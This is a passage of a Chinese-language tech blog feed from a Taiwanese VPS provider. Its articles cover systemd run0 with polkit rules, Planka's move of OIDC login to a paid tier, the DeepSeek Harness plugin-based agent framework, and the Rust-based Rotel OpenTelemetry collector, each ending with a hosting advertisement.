&amp;&amp;</span><br><span class="line">        subject.<span class="title function_">isInGroup</span>(<span class="string">&quot;wheel&quot;</span>)) &#123;</span><br><span class="line">        <span class="keyword">return</span> polkit.<span class="property">Result</span>.<span class="property">YES</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>這條規則讓 wheel 成員透過 D-Bus 對 systemd 做 unit 管理不需要密碼。要更嚴格可以把條件收到單一 action 或單一 unit；要對整個 empower 場景放行，就把 rule 條件寫成 <code>subject.isInGroup(&quot;empower&quot;)</code> 加上具體的 action id。</p><p>SSH 進 VPS 的情境要注意 polkit 的認證通道。SSH session 沒有 seat、也沒有 graphical polkit agent，所以互動式的密碼提示會失敗。三個做法可以走：一是像上面那樣寫 polkit rule 讓群組直接通過，等於配 <code>NOPASSWD</code> 的 sudoers；二是在 SSH session 內先跑一次 <code>systemd-inhibit --mode=block cat</code>，讓 systemd 幫這個 session 起一個文字模式的 pkttyagent；三是用 <code>run0 --pipe</code> 明確聲明沒有 TTY、只透過 pipe 走 stdin&#x2F;stdout，這個模式下 polkit 會走 non-interactive rule，配合上面第一種做法可以在 shell script 裡串起來用。</p><p>自動化腳本、Ansible playbook、CI&#x2F;CD 部署的常見情境是第三種。舉例把 <code>become_method: sudo</code> 換成透過 SSH 呼叫 <code>run0 --pipe --empower</code>，加上 wheel 群組免認證的 polkit 規則，整套流程不需要在遠端保留任何 SUID binary、也不需要 sudoers file，成員權限完全用 group + polkit rule 管。</p><h2 id="什麼時候別換"><a href="#什麼時候別換" class="headerlink" title="什麼時候別換"></a>什麼時候別換</h2><p><code>--empower</code> 的 caveat 決定了它不適合的情境。第一，run0 依賴一支還活著的 systemd user manager；<code>WSLg</code> 之類把 systemd 剝掉的環境會直接失效。第二，容器裡沒有 host 的 PID 1 systemd 可以呼叫，run0 這種模型基本上跑不動——container 內部的權限控制走 capabilities drop 加 seccomp 才對。第三，超小型 rescue 環境（single-user mode、initrd、部分 embedded distro）也不會有 polkit，這時候直接用 su 反而簡單。</p><p>還有一個實務層面的問題：<code>run0</code> 目前 polkit 檢查只有 caller 的 UID&#x2F;group，沒有辦法像 sudoers 那樣寫「這個帳號只能對 nginx.service 做 restart，不能對 sshd.service 動任何東西」。systemd&#x2F;systemd#39676 已經提出把 <code>program</code> 跟 <code>command_line</code> 變數塞進 polkit action 讓 rule 可以匹配，但這個功能在 v259 還沒進去。細粒度授權還在等這個補齊。</p><p>結論很直接：跑 systemd 259 或更新的 VPS，把 <code>run0 --empower</code> 排進遷移計畫，先從個人 admin session 開始，替換掉互動式的 <code>sudo -i</code>，觀察一週再往 CI&#x2F;CD 跟部署腳本推進。SUID root sudo 短期內不會真的消失（Debian 生態還沒把它從預設拔掉），但新機器上「預設不裝 sudo」這件事已經是 Fedora Silverblue、部分 immutable distro 的作法，方向清楚。</p><h2 id="NCSE-Network-的臺灣-VPS-適合這樣配"><a href="#NCSE-Network-的臺灣-VPS-適合這樣配" class="headerlink" title="NCSE Network 的臺灣 VPS 適合這樣配"></a>NCSE Network 的臺灣 VPS 適合這樣配</h2><p>NCSE Network 提供的 VPS 主機跑在臺灣是方電訊機房、Intel Gold CPU 加 NVMe SSD，出廠映像檔支援 Debian 13、Ubuntu 26.04、Fedora 41+，systemd 版本都到 259 以上。要試 <code>run0 --empower</code> 或評估把 sudo 全數換掉，直接開一臺乾淨環境就能跑，不需要為了驗證新工具而弄壞既有伺服器。想了解 NCSE Network 的 VPS 方案細節，可以到 <a href="https://ncse.tw/">ncse.tw</a> 看一下。</p>]]>
    </content>
    <id>https://blog.ncse.tw/systemd-259-run0-empower-polkit-capability-sudo-suid-replacement/</id>
    <link href="https://blog.ncse.tw/systemd-259-run0-empower-polkit-capability-sudo-suid-replacement/"/>
    <published>2026-08-29T15:35:25.000Z</published>
    <summary>run0 從 v256 開始建路，v259 補上 --empower 這一塊之後，才真的能在多數場景取代 sudo。這篇拆解它怎麼靠 kernel capability 加 polkit empower 群組跳過「改 UID 成 root」這條路徑、SUID binary 為什麼是老包袱、以及在 VPS 上要怎麼配 polkit 規則、SSH 進來的 headless session 又要注意什麼。</summary>
    <title>systemd 259 的 run0 --empower：用 ambient capability 加 polkit group 把 sudo 的 SUID root 假設拆掉</title>
    <updated>2026-09-10T01:13:30.525Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="SSO" scheme="https://blog.ncse.tw/tags/SSO/"/>
    <category term="OIDC" scheme="https://blog.ncse.tw/tags/OIDC/"/>
    <category term="開源授權" scheme="https://blog.ncse.tw/tags/%E9%96%8B%E6%BA%90%E6%8E%88%E6%AC%8A/"/>
    <category term="自架" scheme="https://blog.ncse.tw/tags/%E8%87%AA%E6%9E%B6/"/>
    <category term="Planka" scheme="https://blog.ncse.tw/tags/Planka/"/>
    <content>
      <![CDATA[<p>Planka 在 2026 年 8 月釋出 2.2.0，把 OIDC 登入從 Community 版直接拔掉，丟進封閉原始碼的 Pro 訂閱裡。升級腳本沒替只用 SSO 登入的使用者留退路，這批帳號沒有本地密碼，升上去之後就直接被停權，管理員如果自己也走 SSO，重開機那一刻整個實例就沒人進得去。Cloudron 論壇、GitHub issue #1754、Hacker News 幾乎同時燒起來，維護者出面解釋「SSO 一直是企業版功能、單月吃掉一百多筆設定求助」，社群回的則是老話題：這又是一起「SSO 稅」。</p><p>事件本身不複雜，值得寫的是背後那條線。所謂 SSO 稅到底課的是什麼？為什麼 Planka 這一步特別扎眼？自架選型時該怎麼看授權模型的走向，才不會半年後又要換一輪工具？</p><h2 id="OIDC-跟-SAML-不是同一件事，付費線一直畫在後者"><a href="#OIDC-跟-SAML-不是同一件事，付費線一直畫在後者" class="headerlink" title="OIDC 跟 SAML 不是同一件事，付費線一直畫在後者"></a>OIDC 跟 SAML 不是同一件事，付費線一直畫在後者</h2><p>社群把「登入靠外部身份提供者」全都叫 SSO，實際上企業付費那條線幾乎都畫在 SAML 加上 SCIM，而不是 OIDC 本身。SAML 的協定表面古老、實作陷阱多，SCIM 又要處理 provision 跟 deprovision 的雙向同步，兩個加起來吃掉的維護成本是 OIDC 的好幾倍。GitLab 自架版把 SAML 放在 Free、Grafana OSS 支援任意 OIDC issuer 但 SAML 走 Enterprise、Metabase 兩個協定一起關到 Pro，這幾條線畫得都算誠實：拿走的是實作跟支援真的很貴的那一塊。</p><p>Planka 這一步之所以刺，是因為它把整個 OIDC 也一起收走了。OIDC 對維護方來說幾乎沒有 SAML 那種泥沼——Passport、oauth2-proxy、oidc-client 這一輩子函式庫吃 issuer discovery、id_token 驗簽、refresh token 輪替，都是幾百行程式碼的事。上游拿走 OIDC 而不是只拿走 SAML，社群立刻讀出的訊息是「付費線正在往前移」，這才是這波輿論真正的引信。</p><h2 id="停權腳本才是這次爆炸的真正原因"><a href="#停權腳本才是這次爆炸的真正原因" class="headerlink" title="停權腳本才是這次爆炸的真正原因"></a>停權腳本才是這次爆炸的真正原因</h2><p>單純的授權模型調整不會這樣炸。真正踩到底線的是升級腳本的行為：資料庫遷移直接把 <code>identityProviderIdentities</code> 表清空，只有 SSO 身份、沒有本地密碼的帳號被標成 deactivated，管理員要一個一個手動重設密碼、發信給使用者。任何一個實例只要管理員自己也走 SSO，<code>docker compose pull &amp;&amp; up -d</code> 跑完那一刻連 admin 都進不去，只能 exec 進資料庫下 SQL 把某個帳號拉回 active、再手動塞 bcrypt hash。</p><p>自架社群對「上游變授權」的容忍度其實比外界想的高。Elastic、Sentry、HashiCorp 都做過相對突兀的授權轉向，被罵歸被罵、大家最後都摸摸鼻子選邊站。真正無法接受的是「跑一次 docker compose up 就把生產環境弄成不可登入」。Planka 這波維護者出面道歉、補了 2.2.1 版把停權邏輯改成保留帳號等管理員手動處理，但社群記憶已經留下。</p><h2 id="支援成本這條理由要拆兩面看"><a href="#支援成本這條理由要拆兩面看" class="headerlink" title="支援成本這條理由要拆兩面看"></a>支援成本這條理由要拆兩面看</h2><p>維護者提到 SSO 相關支援請求一個月破百筆，這數字在小型專案是活生生會把主線開發拖垮的量。Reddit、Discord、GitHub issue、電子郵件四個管道並行，每一筆都在描述自家 Keycloak realm 設定錯什麼、Authentik provider 綁哪個 property mapping、Azure AD B2C token claim 出不來，光是把問題還原就要半小時。把 SSO 收費並附上支援 SLA，是很多小專案唯一撐得起主線開發的商業模式，這件事情本身不該被扁平化成「開源背叛社群」。</p><p>問題出在切分方式。同樣是要靠訂閱撐營運，OpenProject 走的是 GPL 開源核心加上企業級擴充模組付費、身份整合這塊維持社群版可用；Vikunja 走的是完全開源、企業贊助模式；Ntfy 直接把服務放上雲端訂閱、自架版一切開放。這幾種都繳出了「商業化不等於課登入稅」的實例。Planka 挑了最直接、也最容易被解讀為 bait-and-switch 的那一條路：先讓社群大量部署、綁定使用者，再把身份接入這種通常「裝完就不會想再改」的功能拉走。這種順序決定了輿論走向。</p><h2 id="沒把-OIDC-關到牆後面的替代選項"><a href="#沒把-OIDC-關到牆後面的替代選項" class="headerlink" title="沒把 OIDC 關到牆後面的替代選項"></a>沒把 OIDC 關到牆後面的替代選項</h2><p>需要 Kanban 的可以看 Vikunja、Wekan、Focalboard 這幾個，都在社群版保留 OIDC 甚至 LDAP。整體專案管理端 OpenProject 的社群版蓋掉 Redmine 之後幾乎沒有懸念；Plane 雖然本身也走 open-core，但身份接入這一塊一直留在社群版。Wiki 型的 BookStack、Outline 的 OIDC 也都是 free tier 就有。密碼管理器把 SAML 收費、OIDC 開放的 Vaultwarden、Passbolt 也已經是業界慣例。</p><p>真正該當作訊號的是 GitLab 自架版把 SAML 放在 Free tier 這件事。GitLab 這種規模的專案願意連 SAML 都不切走，等於在告訴市場「登入不該是付費點」。反過來，把 OIDC 收走的案子在 2026 年這一年會被放大檢視，社群的耐心比五年前薄很多。</p><h2 id="換套件之前，先把身份系統從應用拆出來"><a href="#換套件之前，先把身份系統從應用拆出來" class="headerlink" title="換套件之前，先把身份系統從應用拆出來"></a>換套件之前，先把身份系統從應用拆出來</h2><p>真正能保護自己的，是把 IdP 當基礎設施經營，而不是每套應用各自處理登入。Authentik、Zitadel、Pocket ID、Keycloak，四個都是社群版就吃得下 OIDC 加 SAML 加 SCIM 的自架 IdP，選一個架起來當單一身份來源。應用端只要接得上 OIDC 或 SAML，被綁定的就永遠是 IdP、不是應用本身。要換 Kanban、換 Wiki、換工單系統，帳號都不動。</p><p>還沒開始這一步的實例，建議至少維持兩個路徑：SSO 為主、本地帳號為備。管理員帳號一定要有本地密碼備援，即使公司政策全走 IdP，root admin 這一路的 break-glass 帳號寫進密碼管理器封存，跟 IdP 的可用性解耦。實際上很多把 Authentik 架在自己的 VPS 的團隊都有經歷過 IdP 本身掛掉、所有下游應用一起登不進去的教訓，這條備援線並不多餘。</p><p>備份層面，資料庫的 dump 之外，<code>docker-compose.yml</code>、環境變數、OIDC client secret、SAML metadata 全都要納入版本控管。上游一改授權，最壞情況是要能在四小時內把整包端到另一個支援 OIDC 的替代方案上。這件事跟軟體品質無關，是自架選擇的一部分成本。</p><h2 id="結語"><a href="#結語" class="headerlink" title="結語"></a>結語</h2><p>Planka 這一步再一次提醒自架社群一件事：軟體本身不是選型的全部，授權模型走向、商業模式的持續性、上游對社群的態度，都是要一併估算的。OIDC 是不是免費、SAML 收不收費，本身沒有標準答案，看的是有沒有預警、有沒有給遷移期、有沒有把使用者當人看。</p><p>自架部署要跑得穩、換得動，底層 VPS 的網路品質跟穩定度就得先給到位。NCSE Network 在臺灣是方電訊機房提供 Intel Gold CPU 加 NVMe SSD 的 VPS 主機，一路支援自架 Authentik、Zitadel 這類身份服務，也代管企業內部的 Kanban 跟 Wiki 環境。有意把身份系統拉出來、統一部署的團隊歡迎到 <a href="https://ncse.tw/">ncse.tw</a> 了解方案。</p>]]>
    </content>
    <id>https://blog.ncse.tw/planka-2-2-sso-removed-oidc-pro-self-hosted-sso-tax-line/</id>
    <link href="https://blog.ncse.tw/planka-2-2-sso-removed-oidc-pro-self-hosted-sso-tax-line/"/>
    <published>2026-08-28T07:00:00.000Z</published>
    <summary>Planka v2.2.0 把 OIDC 從 Community 版拔掉、丟進封源 Pro 訂閱，只用 SSO 登入的帳號升級後被停權，社群直接炸鍋。這篇拆解「SSO 稅」爭議的實情：付費線一直卡在 SAML/SCIM 而不是登入方式本身，Planka 這步為什麼特別刺、還有哪些自架方案沒把 OIDC 關到牆後面，以及怎麼把身份系統拆乾淨才不會被下一次授權模型改動綁架。</summary>
    <title>Planka 2.2.0 把 OIDC 塞回 Pro 版：自架軟體那條「SSO 稅」的線到底該畫在哪</title>
    <updated>2026-09-10T01:13:30.521Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="自架服務" scheme="https://blog.ncse.tw/tags/%E8%87%AA%E6%9E%B6%E6%9C%8D%E5%8B%99/"/>
    <category term="AI Agent" scheme="https://blog.ncse.tw/tags/AI-Agent/"/>
    <category term="DeepSeek Harness" scheme="https://blog.ncse.tw/tags/DeepSeek-Harness/"/>
    <category term="Cordis" scheme="https://blog.ncse.tw/tags/Cordis/"/>
    <category term="Node.js" scheme="https://blog.ncse.tw/tags/Node-js/"/>
    <category term="開源" scheme="https://blog.ncse.tw/tags/%E9%96%8B%E6%BA%90/"/>
    <content>
      <![CDATA[<p>DeepSeek Harness（<code>dsh</code>）2026 年 8 月 13 日在 GitHub 上開源，走的路徑跟 Node.js 生態圈過去一年出現的 agent framework 完全反著來。多數框架的做法是把 Claude Code 或 Codex 的功能重新包一次，把提示詞、工具呼叫、對話持久化這幾件事套進固定的 loop 架構；DeepSeek Harness 直接把 agent loop 本身也拆成插件，只留下一個由 Cordis meta-framework 承載的組合層。這個決定在釋出後五天累積十五萬個 GitHub 星星、七千多個 <code>dsh-plugin</code> 主題倉庫，反映出社群對「可拔換的 harness」這件事的實際需求遠超過現有產品能滿足的。</p><h2 id="Cordis-才是這個框架真正的底層"><a href="#Cordis-才是這個框架真正的底層" class="headerlink" title="Cordis 才是這個框架真正的底層"></a>Cordis 才是這個框架真正的底層</h2><p>Cordis 不是 DeepSeek 為 Harness 寫的東西，而是一個已經迭代兩年、原本在聊天機器人生態圈被拿來當外掛核心的 Node.js meta-framework。它的核心概念寫在同組作者發表的論文《A Programming Paradigm for Spatiotemporal Composability》裡——每個 plugin 對一個共享 context 貢獻 services、typed events 跟 reversible effects，其他 plugin 依賴的服務就從這個 context 拿。所有註冊都是可逆的，dispose 掉一個 plugin 就把它留下的 hook 跟 service 完全撤走，不會有 dangling reference。</p><p>這個設計對 agent 框架特別合用的地方是「沒有特權核心」——連 agent loop、model adapter、CLI 命令解析都是 plugin，替換它們的方式跟替換一個 tool 完全一樣。相較之下 Claude Code、Codex 這類產品把 loop 寫死在主程式裡，能延伸的只有 slash command、hook、skill 這幾條事先開好的路。DeepSeek Harness 把這條路徑本身也交給使用者接管。</p><h2 id="Plugin-撐到底是什麼意思"><a href="#Plugin-撐到底是什麼意思" class="headerlink" title="Plugin 撐到底是什麼意思"></a>Plugin 撐到底是什麼意思</h2><p>出廠帶的 plugin 大致分成幾組：model adapter（DeepSeek、Anthropic、OpenAI、Bedrock、Vertex、Azure，以及任何 OpenAI-compatible endpoint）、tool registry、四個 preset（Standard、Code、Minimal、Creator）、storage 層、UI 層，再加上一個放在最外圈的 orchestration loop。每個都能透過 <code>settings.yaml</code> 換掉或多層疊加。Minimal preset 只有 persistent bash 加一個文字編輯器，這就是 DeepSeek 官方跑 V4-Pro benchmark 時的 harness 組態，方便論文對照重現。</p><p>Session 的表示法值得單獨拆出來講。所有對話狀態存在一份 append-only 事件流上，模型看到的 context 從這條流投影出來。這個抽象把「fork 一段對話換另一個模型繼續」、「replay 到某個中間點看當時的工具輸出」、「兩個平行分支跑同一批工具比較差異」變成純資料操作，不需要中介的 conversation object。缺點是這一版還沒做 schema versioning——升級 Harness 之後舊 session 直接讀不回來，商用還是實驗場景現階段都得認賠 rebuild。</p><h2 id="Subagent-直接掛-Claude-Code-跟-Codex-上去"><a href="#Subagent-直接掛-Claude-Code-跟-Codex-上去" class="headerlink" title="Subagent 直接掛 Claude Code 跟 Codex 上去"></a>Subagent 直接掛 Claude Code 跟 Codex 上去</h2><p>Harness 有七個 subagent provider，其中 <code>subagent-claude-code</code> 直接呼叫 Anthropic 的 Agent SDK，<code>subagent-codex</code> 走 stdio JSON-RPC 接 Codex CLI，另有通用的 Agent Client Protocol 承接第三方實作。這代表把 DeepSeek Harness 當外殼跑，需要程式碼審閱的 subtask 分派給 Claude Code、需要跑試算的丟給 Codex、主 loop 由 DeepSeek V4-Pro 控——過去要自己黏合這件事得寫幾百行 shell script 加 tmux，現在剩下一段 YAML。</p><p>Subagent 預設 <code>inheritsParentContext: false</code>，只拿到任務描述跟工作目錄，沒有父對話歷史。這個選擇避免了 context blow-up，也讓 subagent 執行時看不到 parent 累積的機密資訊，是相當合理的預設。要主動傳遞資訊的話有專門的 handoff plugin，強制走顯性宣告。</p><h2 id="自架到-VPS-上還有兩個坑要注意"><a href="#自架到-VPS-上還有兩個坑要注意" class="headerlink" title="自架到 VPS 上還有兩個坑要注意"></a>自架到 VPS 上還有兩個坑要注意</h2><p>主程式本體是 Node.js 22.19+ 或 24+ 加 pnpm，<code>npx @deepseek-ai/dsh web</code> 一行拉起 Web UI 綁 127.0.0.1:3080，資源需求對一臺 2 vCPU、4 GB RAM 的 VPS 綽綽有餘。裝完之後真正要處理的是兩個非顯而易見的問題。</p><p>第一個是 sandbox 完全不管網路。三個 preset 只在檔案系統層做隔離——<code>read-only</code>、<code>workspace-write</code>（預設）、<code>danger-full-access</code>——subagent 或 tool 想 <code>curl</code> 外部服務、想 clone 一個 repo、想連上任意 API，harness 一概不擋。要防的話得靠外部手段：iptables egress 規則、network namespace、或直接把 Harness 跑在一個 rootless container 裡再限制對外連線。這件事在多人共用的 dev VPS 上特別要處理，否則等於白開一個可以任意連外的執行環境給對話裡的模型使用。</p><p>第二個是 <code>cordis</code> preset 本身給予活的 JavaScript 執行權限對整個 runtime，等於誰能寫入設定檔誰就能覆寫任何插件。把 Harness 部署到有多個使用者的機器上，<code>$DSH_HOME</code>（credentials 也放在裡面）的權限一定要收緊到 0700，並確認 sudo 規則不會誤把它掛出去。這個問題在單人開發機上不痛不癢，但只要有第二個帳號存在就是提權入口。</p><h2 id="選它還是等它"><a href="#選它還是等它" class="headerlink" title="選它還是等它"></a>選它還是等它</h2><p>DeepSeek Harness 選擇把「可組合性」擺在完整產品體驗前面的做法，讓它現階段不適合被當成 Claude Code 或 Codex 的直接替代——文件廣度、tooling 打磨、UI 細緻度都還有明顯距離，session 也還沒 schema versioning。真正的價值是把 agent runtime 這一層變成可控且可移植的資產：模型、工具、loop、subagent 都能按組織需求換過一遍，不必被單一廠商的產品節奏綁住。這也是 DeepSeek 在打的策略——「模型後面可以換，但控制 agent 怎麼推理、怎麼呼叫工具、怎麼跨 session 保留狀態的 harness 很難換」——把難換的那一層先放出來成開源，模型的競爭空間就留給了自己。適合現在導入的場景是內部 agent 工具鏈的研究性專案、或需要把多個廠商模型接進同一份工作流做評測的團隊；正式產品線建議至少等到 session schema 版本化定案，也就是釋出說明裡明確標示 breaking change window 結束後。</p><p>想在臺灣把這類 agent 工作流穩定跑起來，底層硬體與網路品質是先決條件。NCSE Network 的 VPS 主機採 Intel Gold CPU 與 NVMe SSD、部署於是方電訊機房，適合長期執行 agent runtime、subagent 沙盒與私有 LLM gateway；若有跨區串接、對外 IP transit 或機房代管需求，也可直接與 NCSE Network 團隊聯繫。</p>]]>
    </content>
    <id>https://blog.ncse.tw/deepseek-harness-cordis-plugin-agent-framework-claude-code-subagent/</id>
    <link href="https://blog.ncse.tw/deepseek-harness-cordis-plugin-agent-framework-claude-code-subagent/"/>
    <published>2026-08-27T06:00:00.000Z</published>
    <summary>DeepSeek 2026 年 8 月 13 日開源 dsh，用 Cordis meta-framework 把 agent loop、model adapter、tool registry、UI 全部拆成 plugin，五天累積十五萬星。本文拆解 Cordis 的可組合設計、append-only session log、四個 preset、subagent 直接掛 Claude Code 跟 Codex 的做法，以及自架到 VPS 上兩個容易漏掉的沙盒與權限坑。</summary>
    <title>「一切皆插件」把 agent loop 也拆成外掛：DeepSeek Harness 用 Cordis 撐起可拔換的自架 AI 代理框架，還能把 Claude Code、Codex 掛成 subagent</title>
    <updated>2026-09-10T01:13:30.515Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="ClickHouse" scheme="https://blog.ncse.tw/tags/ClickHouse/"/>
    <category term="OpenTelemetry" scheme="https://blog.ncse.tw/tags/OpenTelemetry/"/>
    <category term="Rust" scheme="https://blog.ncse.tw/tags/Rust/"/>
    <category term="觀測性" scheme="https://blog.ncse.tw/tags/%E8%A7%80%E6%B8%AC%E6%80%A7/"/>
    <category term="Rotel" scheme="https://blog.ncse.tw/tags/Rotel/"/>
    <content>
      <![CDATA[<p>Rotel 是 2026 年 3 月由 Streamfold 釋出的 Rust 版 OpenTelemetry Collector，同一個 OTLP 協議、同一個 ClickHouse exporter，記憶體吃 75% 少、CPU 少一半。在 ClickHouse 官方 blog 貼出的 benchmark 裡，單機吞吐量從官方 otelcol 的 1.1M spans&#x2F;sec 拉到 3.7M spans&#x2F;sec，單核從 137K 拉到 462K。跑 OpenTelemetry Collector 在生產環境收 traces 的團隊，多半經歷過同一個成長痛：一開始 spans 每秒幾千條，otelcol 吃 100MB 記憶體、CPU 佔一成，一切安詳；等到接上 30 個服務、spans 衝到每秒十萬條，同一個 binary 佔到 800MB、CPU 上七成，Go runtime 的 GC 尾巴讓 p99 latency 翻倍。Rotel 做對了什麼、沒做什麼、該不該切過去，這裡整理過一輪。</p><h2 id="otelcol-卡住的三個地方"><a href="#otelcol-卡住的三個地方" class="headerlink" title="otelcol 卡住的三個地方"></a>otelcol 卡住的三個地方</h2><p>翻 otelcol-contrib 的 profile，會發現高流量時 hot path 幾乎都指向三件事：Go runtime 的 GC pressure、tokio 或 goroutine scheduler 的 context switch、以及 glibc allocator 的 arena lock。</p><p>Go 的 GC 是低延遲導向的並行三色標記，但收 telemetry 這種「每條 span 產生一個 protobuf message、幾百個小物件」的 workload，allocation rate 極高。GC 一秒觸發二三十次，heap growth 又追不上 batch flush，尾巴一定會拖 p99。這不是 otelcol 寫壞，是 Go 語言在這種 workload 的天花板。</p><p>第二層是 unmarshaling。收 OTLP 訊息時，otelcol 把整個 protobuf decode、轉成 pdata 內部資料結構、經過 processors、再序列化成下游要的格式。這條路徑上有大量的 heap allocation 與 slice 複製，跑在 goroutine 上讓 scheduler 不斷做 preemption。ClickHouse 工程團隊在寫他們的採用文章時提到，光把 CPU-intensive 的 unmarshal 從 async 任務裡搬到專屬 thread pool，就能把 throughput 從 1.45M 拉到 3.6M spans&#x2F;sec。這是同一個問題在 Rust 那邊呈現的樣子，Go 的 runtime 讓等值優化更難做。</p><p>第三層更陰險：allocator lock contention。glibc 的 malloc 用 per-thread arena，但當 A thread allocation、B thread deallocation 時，需要跨 arena 拿 lock。otelcol 的 pipeline 讓 allocation 發生在 receiver 執行緒、deallocation 發生在後端 exporter 執行緒，這種 cross-arena 模式在流量拉高後會用光 arena lock 的 CPU 時間。多數人不會發現這是問題，直到 <code>perf top</code> 顯示 40% 時間卡在 <code>__lll_lock_wait</code>。</p><h2 id="Rotel-拆掉這三層的方法"><a href="#Rotel-拆掉這三層的方法" class="headerlink" title="Rotel 拆掉這三層的方法"></a>Rotel 拆掉這三層的方法</h2><p>Rotel 完全用 Rust 從零寫，不 fork otelcol，也不共用 pdata 資料結構。它只講 OTLP，加上一組窄的 exporters（ClickHouse、Datadog、AWS X-Ray、AWS EMF、Kafka、file），先把 90% 使用者的路徑做到底。</p><p>Rust 沒有 GC 是最直接的收益。所有物件的生命週期在編譯期決定，heap allocation 的量比等值 Go 程式少一個數量級，GC pause 直接歸零。但這只是起點，Streamfold 團隊真正的優化在後面。</p><p><strong>RowBinary 編碼取代 JSON</strong>。往 ClickHouse 寫資料時，otelcol contrib 的 ClickHouse exporter 會把 span 轉成 JSON、走 HTTP 打進去，ClickHouse 那頭再 parse JSON 塞 columns。這條路徑兩端各多一次 serialization。Rotel 直接走 ClickHouse 的 RowBinary 二進位格式，等於 span 從 memory struct 直接吐到 wire、伺服器端 zero-copy 吃進 column engine，兩邊 CPU 都省。</p><p><strong>Unmarshal 搬離 async runtime</strong>。Rust 的 tokio 執行緒模型跟 Go 的 goroutine 面對同一個問題：async task 卡在 CPU-bound 運算會讓其他 IO task 餓死。Rotel 明確把 protobuf 解碼工作 dispatch 到 dedicated thread pool，async runtime 只處理 IO 事件，兩者用 channel 溝通。這個改動把 tokio scheduler 的 context switch 從每秒幾十萬次砍到幾千次，thread pool 內的 CPU 時間也不再跟 IO 搶。這是 ClickHouse blog 描述的、把 throughput 從 1.45M 拉到 3.6M spans&#x2F;sec 的關鍵一步。</p><p><strong>Allocation 與 deallocation 綁在同一組執行緒</strong>。Rotel 團隊實測後把 allocator arena 對齊到同一 thread pool 內，讓 malloc&#x2F;free 都落在同一個 arena，跨 arena lock 直接消失。這種優化在 Go 幾乎不可能做——runtime 完全接管 goroutine 的 scheduling，開發者管不到執行緒親和性。</p><h2 id="部署-Rotel-只需要一個-binary-或一個-container"><a href="#部署-Rotel-只需要一個-binary-或一個-container" class="headerlink" title="部署 Rotel 只需要一個 binary 或一個 container"></a>部署 Rotel 只需要一個 binary 或一個 container</h2><p>Rotel 沒有 YAML config file，所有選項都是 CLI flag 或 <code>ROTEL_</code> 前綴的環境變數。這個設計在小型部署很爽——不用維護 config、不用學 otelcol 的 receivers &#x2F; processors &#x2F; pipelines &#x2F; exporters 四層階層。跑起來大概長這樣：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">docker run -d --name rotel \</span><br><span class="line">  -p 4317:4317 -p 4318:4318 \</span><br><span class="line">  -e ROTEL_EXPORTER=clickhouse \</span><br><span class="line">  -e ROTEL_CLICKHOUSE_EXPORTER_ENDPOINT=http://clickhouse:8123 \</span><br><span class="line">  -e ROTEL_CLICKHOUSE_EXPORTER_DATABASE=otel \</span><br><span class="line">  -e ROTEL_BATCH_MAX_SIZE=8192 \</span><br><span class="line">  -e ROTEL_BATCH_TIMEOUT=200ms \</span><br><span class="line">  -e ROTEL_OTEL_RESOURCE_ATTRIBUTES=<span class="string">&quot;service.name=edge,region=tw&quot;</span> \</span><br><span class="line">  public.ecr.aws/rotel-dev/rotel</span><br></pre></td></tr></table></figure><p>這樣就開好一個收 OTLP gRPC (4317) 與 HTTP (4318)、批次送進 ClickHouse 的 collector。對比 otelcol 要寫一份含 receivers、processors、pipelines、exporters 的 YAML 然後 mount 進 container，Rotel 直接省掉 config drift 的維護成本。</p><p>VPS 上跑 edge collector、Kubernetes 拿來當 DaemonSet、AWS Lambda 掛 Extension，都是同一顆 binary。Lambda Extension 那個特別誇張，bundle 8MB、cold start 加不到 70ms，這是官方 otelcol Lambda layer 做不到的量級（後者大約 40MB、cold start 200ms 起跳）。</p><p>多路徑的 pipeline 也支援。同時開 OTLP 與 Kafka receiver、把 traces 拆到 ClickHouse、metrics 拆到 Datadog，flag 一路串下來就能設完：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">rotel start \</span><br><span class="line">  --receivers otlp,kafka \</span><br><span class="line">  --kafka-receiver-brokers kafka:9092 \</span><br><span class="line">  --kafka-receiver-traces \</span><br><span class="line">  --exporter clickhouse,datadog \</span><br><span class="line">  --clickhouse-exporter-endpoint http://clickhouse:8123 \</span><br><span class="line">  --datadog-exporter-api-key <span class="variable">$&#123;DD_API_KEY&#125;</span></span><br></pre></td></tr></table></figure><p>file receiver 也值得一提。它能 tail 一個 glob pattern 下的 log 檔案、內建 nginx access log &#x2F; syslog 等常見 parser，直接把純文字 log 轉成 OTLP logs 送到後端。這對「還沒導入 log SDK、但先想把 nginx access log 打進 ClickHouse」的過渡場景很實用，比起另外裝 Vector 或 Fluent Bit 少一個 daemon。Linux-only 的 kmsg receiver 則會拉 <code>/dev/kmsg</code> 的 kernel log，做 host-level 觀測時省掉一次 systemd-journal-remote 的中繼。</p><h2 id="什麼場景還是回頭用-otelcol"><a href="#什麼場景還是回頭用-otelcol" class="headerlink" title="什麼場景還是回頭用 otelcol"></a>什麼場景還是回頭用 otelcol</h2><p>誠實講：Rotel 不是 otelcol 的直接替代品，它是「窄場景做深」的取捨。以下幾種需求，切過去會踩坑。</p><p><strong>需要大量 contrib processors 的場景</strong>。otelcol-contrib 生態有幾百個 processor：<code>tail_sampling</code>、<code>probabilistic_sampler</code>、<code>resource detection</code>、<code>k8sattributes</code>、<code>spanmetrics connector</code>、<code>transform processor</code> 等等。Rotel 現在只內建 attributes 與 redaction 兩個 prebuilt processor，其餘要用 Python SDK 或 Rust SDK 自己寫。前者用 PyO3 綁定，寫起來像 lambda function 但會付 Python 執行的效能稅；後者最快但要編譯成 dynamic library、寫 Rust。</p><p><strong>需要非主流 exporter 的場景</strong>。Prometheus remote_write、Elasticsearch、Splunk、Loki、Tempo、Grafana Cloud 這些 exporter 在 Rotel 都還沒有，只能繞一層 OTLP forwarder。下游是 SigNoz、Grafana Alloy、Jaeger 這種吃 OTLP 的服務就沒差；下游只吃自家協議就麻煩。</p><p><strong>需要 tail-based sampling 